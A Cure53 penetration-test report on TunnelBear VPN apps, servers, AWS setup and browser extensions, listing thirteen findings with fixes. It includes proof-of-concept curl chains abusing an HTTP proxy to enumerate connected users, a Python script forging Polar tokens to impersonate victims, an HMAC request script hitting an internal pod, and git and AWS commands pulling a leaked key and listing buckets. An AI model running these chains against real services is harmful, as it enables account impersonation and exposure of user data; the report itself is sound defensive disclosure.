Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report TunnelBear VPN Clients & Servers 10-11.2023

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. D. Weißer, BSc. E. Damej, MSc. F. Fäßler,
Dr. M. Conde, J. Larsson

Index

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Introduction

> *"TunnelBear respects your privacy. We will never monitor, log, or sell any of your browsing activity. As the only VPN in the industry to perform annual, independent security audits, you can trust us to keep your connection secure."*
>
> From https://www.tunnelbear.com/

This report, assigned the reference ID TB-11, outlines the verdict of a Cure53 penetration test and source code audit against a multitude of TunnelBear applications and components in Q4 2023. These were compiled into eight specific Work Packages (WPs) for scope clarity:

- **WP1**: White-box tests against TunnelBear client apps
- **WP2**: White-box tests against TunnelBear VPN infrastructure
- **WP3**: White-box tests against TunnelBear PolarBear backend
- **WP4**: White-box tests against TunnelBear frontend & public sites
- **WP5**: White-box tests against TunnelBear AWS infrastructure
- **WP6**: White-box tests against TunnelBear Overseer
- **WP7**: White-box tests against TunnelBear Geneva
- **WP8**: White-box tests against TunnelBear browser add-ons

To provide some contextual information, the project was requested by McAfee ULC in May 2023 and was henceforth completed by seven senior auditors during a time frame spanning CW42 to CW45 in October and early November 2023. To yield the expected coverage levels, forty-three work days were included in the budget. Pertinently, the scope originally included a ninth work package that was removed from the final tally of targets upon request. The testing capacity initially allocated for this WP was dispersed amongst the remaining focus areas.

In actuality, this report marks the eleventh security review of the TunnelBear VPN and components by Cure53. For reference, the previous iterations were completed approximately one year ago in October and November of 2022 (documented under TB-10). Cure53 was provided with repositories, correct application versions, URLs, test-user credentials, and other miscellaneous pieces of data to facilitate the undertakings. The methodology deemed most appropriate for the requirements was white-box.

All preparations were completed in October 2023, specifically during CW41, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Slack channel, established to combine the teams of TunnelBear and Cure53. All personnel involved from both parties were invited to participate in this channel, resulting in seamless collaborations with minimal inquiries. The scope was well-prepared and transparent, with no significant obstacles faced throughout. Cure53 consistently provided status updates and shared their findings, whilst also offering live reporting by posting completed tickets to TunnelBear's issue tracker.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Onto the findings, whereby the audit team's meticulous evaluations extracted a total of thirteen. To break those down, five were deemed to represent security vulnerabilities and the remaining eight were common flaws that should be relatively straightforward to resolve.

Considering the extensive scope in focus, the sum of tickets is moderate. This can be interpreted as a positive indication, particularly considering the sharp decline in vulnerabilities witnessed in comparison to the prior examination iteration (see TB-10).

Nevertheless, two specific circumstances pose *High* security risk. These entail the possibility of gaining access to the VPN client listing service (as highlighted in ticket TB-11-003), as well as a VPN access scenario via an unauthenticated Polar token generation (as proposed in ticket TB-11-010). Naturally, Cure53 highly recommends resolving these deficiencies as soon as possible.

Another worrying aspect was the fact that some flaws located in prior audits have either been incorrectly resolved or simply ignored, which are all congregated in ticket TB-11-005. Cure53 would once again like to emphasize the importance of swiftly and correctly addressing all discoveries, irrespective of their perceived impact.

All in all, Cure53 is pleased to confirm that the TunnelBear developers have overseen a marked security improvement with each passing round of testing. Ample evidence attests to strengthening protocols against a multitude of severe vulnerabilities and threats. Yet, the findings of this audit highlight that there is still extensive room for enhancement. Continuous resources and efforts are required to ensure a high level of security.

The report will now provide more insight into the scope and test setup, as well as the available materials for testing. It will then list all findings in chronological order, beginning with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues*. Each finding will be accompanied by a technical description, a Proof-of-Concept (PoC) where possible, and mitigation advice. The report will conclude with a summary of the general impressions gained throughout the test and an assessment of the security posture of the scope, which comprises several TunnelBear applications and components.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Scope

- **Penetration tests & security assessments against TunnelBear VPN software & servers**
  - **WP1**: Tests against TunnelBear client apps
    - **macOS:**
      - **Application:**
        - s3.amazonaws.com/tunnelbear/downloads/mac/TunnelBear.zip
      - **Repositories:**
        - *tunnelbear-apple*
        - *tunnelbear-apple-openvpn*
        - *tunnelbear-apple-dependencies*
    - **iOS:**
      - **Application:**
        - apps.apple.com/us/app/tunnelbear-secure-vpn-wifi/id564842283
      - **Repositories:**
        - *tunnelbear-apple*
        - *tunnelbear-apple-openvpn*
        - *Tunnelbear-apple-dependencies*
    - **Android:**
      - **Application:**
        - play.google.com/store/apps/details?id=com.tunnelbear.android
      - **Repositories:**
        - *tbear-android*
        - *polarbear-android*
        - *tb-vpn-android*
    - **Windows:**
      - **Application:**
        - play.google.com/store/apps/details?id=com.tunnelbear.android
      - **Repositories:**
        - *tunnelbear-windows*
        - *polarbear-windows*
  - **WP2**: Tests against TunnelBear VPN infrastructure
    - **VPN servers:**
      - 208.78.26.84
      - 209.38.244.228
      - 209.38.244.29
    - **Repositories:**
      - *opscode*
      - *serverApi*
      - *deploy*
  - **WP3**: Tests against TunnelBear PolarBear backend
    - **Repositories:**
      - *backend*
      - *polarbackend*

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

- **WP4**: Tests against TunnelBear frontend & public sites
  - **URLs:**
    - www.tunnelbear.com
    - www.tunnelbear.com/teams
    - www.tunnelbear.com/whats-my-ip
  - **Repositories:**
    - *web-tb-com*
    - *web-tb-landing*
    - *web-bearsMyIP-v2-Vue*
    - *web-tb-teams*
    - *tbear-password-reset*
- **WP5**: Tests against TunnelBear AWS infrastructure
  - **Repositories:**
    - *polarbackend (within the terraform folder)*
    - *backend (within the terraform folder)*
    - *tunneloverseer (within the terraform folder)*
    - *serverapi (within the terraform folder)*
    - *tundra*
    - *tf-module-logdna-router*
    - *tf-module-read-secrets*
    - *tf-module-vmf-proxy*
    - *tf-module-app-server*
    - *tf-module-load-balancer*
    - *tf-module-network-load-balancer*
    - *tf-module-ec2-app-server*
    - *tf-module-cloudflare-route-redirection*
- **WP6**: Tests against TunnelBear Overseer
  - **URLs:**
    - staging.tunneloverseer.com
    - staging.tunneloverseer.com/v1/public/ips
  - **Repository:**
    - *tunneloverseer*
- **WP7**: Tests against TunnelBear Geneva
  - **Repository:**
    - *geneva*
- **WP8**: Tests against TunnelBear browser add-ons
  - **Chrome extension:**
    - chrome.google.com/webstore/detail/tunnelbear-vpn/omdakjcmkglenbhjadbccaookpfjihpa
  - **Firefox extension:**
    - addons.mozilla.org/en-CA/firefox/addon/tunnelbear-vpn-firefox
  - **Edge extension:**
    - microsoftedge.microsoft.com/addons/detail/tunnelbear-vpn/ogemdakneofkpppkcfkgmbiopdpioipj

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

    - **Repository:**
        - *web-tb-browser*
- **Test-supporting material was shared with Cure53**
- **All relevant sources were shared with Cure53**
- **Cure53 was granted access to the client's issue tracker**
- **Testable application binaries were provided**

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., *TB-11-001*) to facilitate any future follow-up correspondence.

TB-11-003 WP2: Access to VPN client listing service via HTTP proxy *(High)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

While investigating the HTTP proxy source code, the observation was made that the forward proxy fails to block requests destined for the private network, thereby allowing the invocation of sensitive services. An unprotected REST API was found to be exposed by the VPN node, which is bound to the localhost interface and is intended to be invoked by local services to list connected OpenVPN and IPsec users. Since requests destined for the localhost or any private network address are not filtered by the HTTP proxy, the HTTP proxy can be abused by an attacker to enumerate connected users and their public IP addresses. To showcase the impact, an example of an attacker listing connected users to the VPN node *ip-46-101-122-183.lazerpenguin.com* is provided below:

Steps to reproduce:

1. Authenticate to the TunnelBear API service and generate the *access_token* using the following command:

   cURL command:
   ```
   curl -s -H 'Content-Type: application/json' -d
   '{"username":"<username>","password":"<password>","grant_type":"passw
   ord","device":"A"}'
   https://prod-api-dashboard.tunnelbear.com/dashboard/web/v2/token | jq
   '.access_token'
   ```

2. Acquire a Polar access token using the access token created in the previous exchange.

   Affected HTTP request:
   ```
   POST /auth HTTP/2
   Host: api.polargrizzly.com
   Content-Type: application/json

   {"partner":"tunnelbear","token":"<access_token_step_1>"}
   ```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Affected HTTP response:

```
HTTP/2 200 OK
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGc[REDACTED]
[...]
```

3. Using the Polar access token, generate the VPN access token via the following command:

cURL command:

```
curl  -H 'Authorization: Bearer <access_token_step_2>'
https://api.polargrizzly.com/user -s|jq '.vpn_token'
```

4. Leverage the VPN token to list all connected users of the VPN node *ip-46-101-122-183.lazerpenguin.com*:

Affected cURL:

```
curl http://localhost:2022/api/users/sync -x
https://<access_token_step_3>:<access_token_step_3>@ip-46-101-122-
183.lazerpenguin.com:8080/
```

Affected response:

```
{"users": [
    {
      "carrier_id": "mcafee_pps_partner",
      "ip": "172.18.12.234",
      "publicIP": "[REDACTED]",
      "userId": "[REDACTED]",
      "vpn_device_id": "[REDACTED]"
    },
[...]
```

To mitigate this issue, Cure53 recommends restricting the HTTP proxy's processing of requests destined for the private network. Furthermore, it is advised to implement measures to prevent access to domains that resolve to local and private addresses.

TB-11-004 WP2: Unrestricted access to private network via OpenVPN *(Medium)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

While analyzing the OpenVPN configuration, Cure53 noted that private network access is not restricted for OpenVPN clients, granting direct access to multiple services exposed on the TunnelBear VPN node. This behavior does not directly evoke security risks, but may grant attackers unnecessary opportunities to exploit vulnerable areas. For instance, the filterpod containerized services may be targeted in an attempt to invoke an unprotected privileged service.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

To reproduce this issue, simply connect to the OpenVPN and invoke the following cURL command:

Affected cURL:
```
curl http://172.17.2.5:8441/v1/client/settings -X POST
```

Affected response:
```
{"error":{"code":401,"message":"Unauthorized request"}}
```

To mitigate this issue, Cure53 recommends always restricting access to private networks. Since TunnelBear VPN nodes are designed to route traffic to the Internet, access to all private subnetwork classes should be blocked, thus safeguarding internal services from unauthorized access.

TB-11-005 WP1: Unmitigated vulnerabilities from previous audits *(Medium)*

Whilst analyzing the apps (both via source code and dynamically), Cure53 determined that some previously reported vulnerabilities still persisted. The following examples pertain to lingering threats that weaken the security premise of the client apps:

Vulnerabilities:
TB-08-019 Crypto: Known plain-text attack on sendLogs in AES

Here, the affected iOS code remains unaltered and the issue has yet to be resolved.

Affected files:
- *./ios/TunnelBear/Code/Controllers/Onboarding/LandingPageViewController.swift*
- *./shared/core/Code/Strings/CryptoKeys.swift*
- *./shared/core/Code/Utils/HybridCrypto.swift*

Miscellaneous issues:
TB-08-006 Android: Unencrypted shared preferences and database

Although the files within the shared preferences containing sensitive user information are now encrypted, the database itself remains unencrypted and holds pertinent data including the *vpn_token* and PII (such as the user's email address).

Example entry for *tunnelbear_database*:
```
USER_INFO: {"account_status":"NORMAL","data_limit_bytes":-
1,"id":0,"is_data_unlimited":true,"vpn_token":"TBR-fbb9b33d-ddd8-42b9-b7f3-
7620a99b5488"}
ACCOUNT_INFO:
{"channel":"NONE","email":"marta@cure53.de","emailConfirmed":true,"plans":
[...]}
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Cure53 must emphasize that this ticket collates a non-exhaustive sample of just some of the unfixed faults from previous audits, highlighting the integrality of resolving all outstanding vulnerabilities and miscellaneous issues. The developer team should review all recommendations as soon as possible in order to provide airtight shielding for the client apps.

TB-11-010 WP2: VPN access via unauthenticated Polar token generation *(High)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

During the audit of the PolarBackend project, the auditors noticed an unauthorized Polar token generation circumstance. This vulnerability allows adversaries to assume the identity of victim users when establishing connections with VPN nodes. Exploiting this vulnerability necessitates knowledge of the victim's user ID and device ID, which typically constitute unpredictable Universal Unique Identifiers (UUIDs).

Notably, the discovery outlined in ticket TB-11-003 enables an attacker to enumerate users currently connected to an existing VPN node, thereby gaining access to other users' identifiers and their corresponding device identifiers.

The following Python script has been created to demonstrate this shortcoming. The attacker need only substitute the account and device ID with the victim's information, as obtainable via the exploit detailed in ticket TB-11-003. Executing the script produces a new token, enabling authentication to VPN services such as HTTP proxy, OpenVPN, and similar.

PoC Python script:

```
import requests
import base64

affId = "1501"
partner ="mcafee_safeconnect":
accId="<ACCOUNT_ID>"
devId="<DEVICE_ID>"
b64AccId= base64.b64encode(accId.encode('utf-8')).decode('utf-8')
b64devId = base64.b64encode(devId.encode('utf-8')).decode('utf-8')
tkn = base64.b64encode((f"{affId}-{b64AccId}-{b64devId}-USA-
wss").encode("utf-8")).decode("utf-8")
try:
    resp = requests.post('https://api.polargrizzly.com/auth',
json={"partner":partner, "token": tkn})
    authTkn = resp.headers['Authorization']
    resp = requests.get('https://api.polargrizzly.com/user',
headers={"Authorization":authTkn})
    print(resp.json())
except Exception as e:
    pass
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

To mitigate this issue, Cure53 advises sufficiently authenticating users prior to generating Polar tokens. Although user IDs and device IDs may be considered challenging to predict, they cannot be deemed to represent confidential values. If this approach would break the functionality provided by the auth service, it would be necessary to separate the service responsible for generating a user token, given only the device ID and user ID, by extracting it into a separate entity. This separate service should be protected with a secret token accessible exclusively to the internal client service.

TB-11-013 WP2: Weak Filterpod intercommunication key in production *(Medium)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Cure53 noted the presence of a weak production key for the Frontend Filterpod, which is a containerized web server providing multiple REST APIs exclusively for internal services. However, the production environment shares a similar key with the testing environment, requiring only the substitution of the *testing* keyword with *prod* in the secret key.

Despite the implausibility of public access to the Frontend Filterpod due to the fact that the container's port is mapped to the host network, an attacker can exploit the vulnerabilities described in tickets TB-11-004 and TB-11-003 to directly invoke the Frontend Filterpod's REST APIs.

Steps to reproduce:

1. Connect to any production VPN node via OpenVPN using a TunnelBear username and password combination. The following OpenVPN configuration file can be employed:

   ***TunnelBearOpenVPN.conf*:**

```
client
dev tun0
proto tcp
comp-lzo
nobind
ns-cert-type server
persist-key
persist-tun
reneg-sec 0
dhcp-option DNS 8.8.8.8
dhcp-option DNS 8.8.4.4
redirect-gateway
verb 1
auth-user-pass
ca CACertificate.crt
cert UserCertificate.crt
key PrivateKey.key
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

```
remote <tunnel_bear_vpn_node_ip> 443
cipher AES-256-CBC
auth SHA256
keysize 256
```

2. Employ the following Python script to generate a valid signed request and invoke the internal frontend pod service.

   PoC Python script to dump local Frontend pod cache:

```
import sys, json, requests, datetime, base64, hashlib, hmac
path = '/local/cache'
url = 'http://172.17.2.3:8087'+path
headers = dict()
headers['FPDate'] = datetime.datetime.now().strftime('%m/%d/%Y, %-I:
%M:%S %p')
payload = path + headers['FPDate']
message = bytes(payload, 'utf-8')
secret = bytes('[REDACTED]prod[REDACTED]', 'utf-8')
headers['Authorization'] = 'mfe-hmac ' +
base64.b64encode(hmac.new(secret, message,
hashlib.sha256).digest()).decode('utf-8')
r = requests.get(url, data=payload, timeout=15, headers=headers)
print(r.text)
```

One must acknowledge that the *filterpod-clientapi* container in the production environment also shares the same signing key as the testing environment, providing the attacker direct access to the container's REST APIs.

To mitigate this issue, it is strongly recommended to incorporate robust and randomly generated keys in the production environment. Additionally, Cure53 discourages using identical secret keys for both the testing and production environments, since this practice compromises the security posture of the production environment.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, whilst a vulnerability is present, an exploit may not always be possible.

TB-11-001 WP1: Weak RSA-1024/SHA1 algorithm utilized for APK signing *(Low)*

Fix note: *This issue was partially mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

During a static analysis of the TunnelBear VPN production app on Android, it was found that the APK is currently signed with the v2 and v3 signature schemes using a 1024-bit RSA key, as presented below.

Command:

```
apksigner verify --print-certs -verbose base.apk
```

Output:

```
Verifies
Verified using v1 scheme (JAR signing): false
Verified using v2 scheme (APK Signature Scheme v2): true
Verified using v3 scheme (APK Signature Scheme v3): true
Verified using v4 scheme (APK Signature Scheme v4): false
Verified for SourceStamp: false
Number of signers: 1
Signer #1 certificate DN: CN=TunnelBear
Signer #1 certificate SHA-256 digest:
e99ea8fabfe6d13cc827ac2b801e99412eda1d82621d6d80c3a8d40b4e33769e
[...]
Signer #1 key algorithm: RSA
Signer #1 key size (bits): 1024
[...]
Source Stamp Signer certificate DN: CN=Android, OU=Android, O=Google Inc.,
L=Mountain View, ST=California, C=US
[...]
```

However, 1024-bit RSA keys offer a security strength of 80 bits and have been officially disallowed by NIST[1] in favor of 2048-bit RSA keys, which are more performant.

To mitigate this issue, Cure53 recommends amending the signing key to a 2048-bit RSA key, which is achievable via an APK update owing to the v3 signature scheme. This would maintain backward compatibility with older Android devices that do not support the v3 signature scheme (in particular those with API level 27, the minimum level defined in the manifest).

[1] https://csrc.nist.gov/csrc/media/projects/key-management/documents/transitions/transit[...]_070209.pdf

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TB-11-002 WP1: Cleartext traffic permitted in Android application *(Info)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst statically analyzing the Android app, Cure53 witnessed that the application enables the use of cleartext traffic by explicitly setting the attribute *usesCleartextTraffic* to *true* in the manifest. However, the acceptance of unencrypted connections unnecessarily weakens the app's security posture and increases exposure to Man-in-the-Middle (MitM) attacks.

Pertinently, the test team was unable to detect any unencrypted connections during the assessment. Moreover, no *http://* URLs were identified in the code, therefore justifying this design choice. In any case, if an exception requires a declaration, the process should be performed in the network security configuration file[2].

Affected file:
tbear-android/app/src/main/AndroidManifest.xml

Affected code:

```
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
[...]
    <application
        [...]
        android:usesCleartextTraffic="true"
        tools:targetApi="tiramisu">
[...]
```

To mitigate this issue, Cure53 advises explicitly setting the *usesCleartextTraffic* attribute's value to *false* in the manifest.

TB-11-006 WP5: Redshift cluster security considerations *(Medium)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst examining the Redshift clusters utilized by TunnelBear, Cure53 noted that the current configuration enables public access to the Redshift clusters. This poses significant security implications and is generally discouraged. Exposing a database to the Internet can attract malicious activities such as unauthorized access attempts, SQL injection attacks, and potential data breaches. Moreover, the attack surface is generally magnified for threat actors to exploit any present vulnerabilities. Public accessibility also complicates compliance with data protection regulations and can lead to inadvertent data exposure.

[2] https://developer.android.com/privacy-and-security/security-config?hl=es-419

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Configuration excerpt:

```
$ aws --profile TB redshift describe-clusters --region ca-central-1  --
cluster-identifier hivemind-production-data-warehouse

Clusters": [
        {
            "ClusterIdentifier": "hivemind-production-data-warehouse",
            "ClusterStatus": "available",
            "ClusterAvailabilityStatus": "Available",
            "MasterUsername": "tunnelbear",
            "Endpoint": {
             "Address": "hivemind-production-data-
             warehouse.cyjeib48snud.ca-central-1.redshift.amazonaws.com",
                "Port": 5439
            },
           [...]
            "AllowVersionUpgrade": true,
            "NumberOfNodes": 12,
            "PubliclyAccessible": true,
```

Affected clusters:

- *hivemind-production-data-warehouse*
- *hivemind-staging-data-warehouse*

To mitigate this issue, Cure53 recommends eliminating publicly exposed Redshift endpoints and alternatively utilizing VPNs or the AWS Virtual Private Cloud (VPC) to enhance network connection security. The developer team should also install rigorous access controls in order to deter unauthorized access. The integration of access policies that conform with the concept of least privilege and allow only vetted users and services to engage with the endpoints will guarantee security and regulatory compliance with GDPR, HIPAA, and other similar regulations.

Furthermore, private Redshift clusters are less vulnerable to DDoS attacks, maintaining service availability and consistency. Despite the convenience of public clusters, the security risks are substantial. With this in mind, one should prioritize installing private cluster configurations and secure access methods to uphold data confidentiality, integrity, and availability, in alignment with best practices concerning data management in AWS Redshift environments.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TB-11-007 WP5: Public access to RDS database instances *(Info)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst assessing TunnelBear's RDS instance configurations, the testers noted that several instances were configured as publicly accessible, which correlates with the finding described in ticket TB-11-006. One cannot argue that public accessibility alone represents a critical security threat, though unfortunately, it substantiates an encompassing trend of inadequate security measures.

With respect to the abundant incidents of potential information exposure uncovered during this security assessment, the danger of an external attacker capitalizing on compromised credentials to access publicly exposed databases is concerningly exacerbated.

Configuration excerpt:

```
$aws --profile TB rds describe-db-instances --region ca-central-1 | jq

     "DBInstanceIdentifier": "overseer-prod-0",
     "DBInstanceClass": "db.r5.xlarge",
     "Engine": "aurora-mysql",
     "DBInstanceStatus": "available",
     [...]
     ],
     "PubliclyAccessible": true,
     "StorageType": "aurora",
     "DbInstancePort": 0,
     "DBClusterIdentifier": "overseer-prod",
     "StorageEncrypted": true,
     "KmsKeyId":
```

Affected RDS instances:

```
overseer-prod-0, overseer-prod-1, overseer-staging-0, overseer-staging-1,
overseer-test-0, overseer-test-0-old1, overseer-test-1, overseer-test-1-
old1, polarbear-prod-0, polarbear-prod-1, polarbear-staging-0, polarbear-
staging-1, polarbear-test-0, polarbear-test-1, rb-production-0, rb-
production-1, rb-staging-0, rb-staging-1, ybeardb-production-0, tbeardb-
production-1, tbeardb-production-2, tbeardb-staging-0, tbeardb-staging-1,
tbeardb-test-0, tbeardb-test-1
```

To mitigate this issue, Cure53 recommends publishing RDS endpoints with an AWS application load balancer, which would safeguard the complex against application-layer attacks. Once the load balancer receives a request, it should evaluate the listener rules in order of priority to determine which exact rule to apply. Post-task completion, a target should be selected from the group in question for the rule-action.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Moreover, the listeners can be configured to route requests to alternate target groups based on the application traffic content. Routing would be performed independently for each target group, even if a target is registered with multiple groups.

TB-11-008 WP5: Public access to SNS topic policy *(Info)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst analyzing the configuration linked to SNS, the discovery was made that a specific topic was established to permit open subscription access.

This does not constitute a security flaw in isolation but rather entails a possible misconfiguration that could result in unauthorized access to an SNS topic. This oversight could inadvertently expose sensitive information or facilitate unwarranted data distribution if unresolved.

Configuration excerpt:

```
$ aws --profil TB sns get-topic-attributes --topic arn:aws:sns:us-east-
1:113810520231:filter_toggle --region us-east-1 --query 'Attributes.Policy'
--output text | jq

      {
        "Version": "2008-10-17",
        "Statement": [
          {
            "Sid": "1",
            "Effect": "Allow",
            "Principal": {
              "AWS": "*"
            },
            "Action": "sns:Subscribe"
          }
        ]
      }
```

To mitigate this issue, Cure53 recommends conducting a sweeping examination of the configurations for the specified SNS topic to assess their appropriateness. Additionally, the utilization of wildcards for principal access permissions is discouraged, since they can evoke excessively broad access rights that may, in turn, compromise security.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TB-11-009 WP5: Sensitive parameters in Lambda configuration *(Info)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

In a follow-up assessment of TunnelBear's Lambda configurations, Cure53 noted that a previously identified issue pertaining to the storage of sensitive parameters within various Lambda functions remains unresolved. The recurrence of this problem indicates a lapse in remediation efforts and underscores the requirement for stringent parameter management.

Improved configuration practices regarding repeated oversights are essential toward mitigating the potential risks associated with this vulnerability. It is imperative to establish and enforce policies that prevent sensitive data from being embedded in Lambda environments, thus bolstering the wider security offering.

Configuration excerpt:

```
aws --profile TB lambda list-functions --region us-east-1

   "Functions": [
        {
            "FunctionName": "genai-support",
            "FunctionArn": "arn:aws:lambda:us-east-
1:113810520231:function:genai-support",
            "Role": "arn:aws:iam::113810520231:role/genai-support-iam",
            "CodeSize": 0,
          [...]
            "Version": "$LATEST",
            "Environment": {
                "Variables": {
                    "SECRET_KEY": "REDACTED",
                    "KEY_ID": "AKIARU75CXCTYE6CTKFF",
                    "OPENAI_API_KEY":"REDACTED"
```

To mitigate this issue, Cure53 recommends adopting the AWS Systems Manager (SSM), alongside AWS parameters and Lambda's secrets manager extension. By retaining sensitive items such as SecureString within SSM, the security implications related to the storage, transmission, or handling of sensitive data within the variables can be substantially diminished.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

TB-11-011 WP8: Unencrypted token in browser's local storage *(Low)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst inspecting the various browser add-on source code bases, Cure53 confirmed that the TunnelBear extension utilizes the browser's local storage to store sensitive user information, such as the *vpnToken*, as observable in the following code excerpts.

Affected file:
web-tb-browser/src/background/state.ts

Affected code:
```
export function setUserResponse(userResponse: UserResponse) {
  let dataCap = userResponse.data_limit_bytes < 0 ? Utils.FIVE_HUNDRED_MB:
userResponse.data_limit_bytes;
  appState.user = {
    isFullVersion: userResponse.is_data_unlimited,
    accountStatus: userResponse.account_status,
    dataCap: dataCap,
    vpnToken: userResponse.vpn_token
  }
  Utils.storageSet('user', JSON.stringify(appState.user));
}
```

Affected file:
web-tb-browser/src/common/utils.ts

Affected code:
```
export function storageSet(keyStr: string, value: any) {
  const data = {
    [keyStr]: value
  };
  return new Promise((resolve, reject) => {
    chrome.storage.local.set(data, function () {
      resolve({});
    })}
  );
}
```

This can be confirmed by executing the following command on the extension's console.

Command:
```
await chrome.storage.local.get('user')
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Command output:

```
user:
"{"isFullVersion":true,"accountStatus":"NORMAL","dataCap":524288000,"vpnTok
en":"TBR-a127bd05-b831-40c1-9b94-3eba973ce897"}"
```

The retention of sensitive data in local storage is strongly discouraged[3], since this mechanism is susceptible to XSS vulnerabilities and other exfiltration techniques, including those whereby the attacker holds physical access to the victim's device.

To mitigate this issue, Cure53 advises encrypting the sensitive data present in the local storage (i.e., *vpn_token*), considering that this area might be a plausible choice for the product's design. Ideally, the encryption key should be obtained from a key exchange between the user and TunnelBear backend.

TB-11-012 WP2: Opscode repository contains secrets in old revisions *(Medium)*

Fix note: *This issue was mitigated by TunnelBear after the delivery of the report and subsequently fix-verified by Cure53 in early February 2024.*

Whilst evaluating the provided servers for post-breach scenarios, Cure53 observed that the *opscode* repository contains secrets in old commits. These credentials are encrypted and handled via Ansible at present, however, they remain retrievable by rolling the repository back to a prior revision.

A malicious user that has compromised a VPN node could leverage these secrets to gain access to other TunnelBear infrastructure areas. The excerpt below demonstrates the method by which one can obtain a new copy of the *opscode* repository from GitHub using root's private key.

In addition, Cure53 would like to highlight that all branches of the repository are readable. By employing the git log command, it is possible to perform a search that includes prior commits. The excerpt presented next also underscores how to retrieve an AWS key.

Shell excerpt:

```
#  ssh-agent bash -c 'ssh-add /root/.ssh/id_rsa_deploy_opscode; git clone
git@github.com:/tunnelbear/opscode'
# cd opscode
# git log -S "AKIA" -p --all
...
self.conn = SQSConnection('AKIAJ2EFPA7DOOKT3FLA', 'eRlS[...]MIAI5')
```

The key in question was deemed relatively powerful due to the ability to access several S3 buckets, as highlighted next:

[3] https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

S3 bucket list:

```
testuser@Hax ~ :O % aws configure
AWS Access Key ID: AKIAJ2EFPA7DOOKT3FLA
AWS Secret Access Key: eRlS[...]MIAI5
Default region name [us-west-2]:
Default output format [None]:
testuser@Hax ~ :D % aws s3 ls
2023-09-19 16:31:48 aws-athena-query-results-113810520231-us-east-1
2022-01-28 14:47:46 aws-cloudtrail-logs-113810520231-423927d4
2023-10-12 16:40:59 axon-userdumps
2023-10-12 16:41:20 bear-confirmation
2023-10-12 16:54:32 bearlytics-backup
2023-05-24 15:38:10 bearsmyip.com
[...]
```

To mitigate this issue, Cure53 suggests invalidating or altering the affected credentials rather than simply removing secrets from a git repository, since the latter approach would mean that the data is still retained in repository copies.

To complement this, the TunnelBear team should search for similar credentials that may persist in other branches and past revisions.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
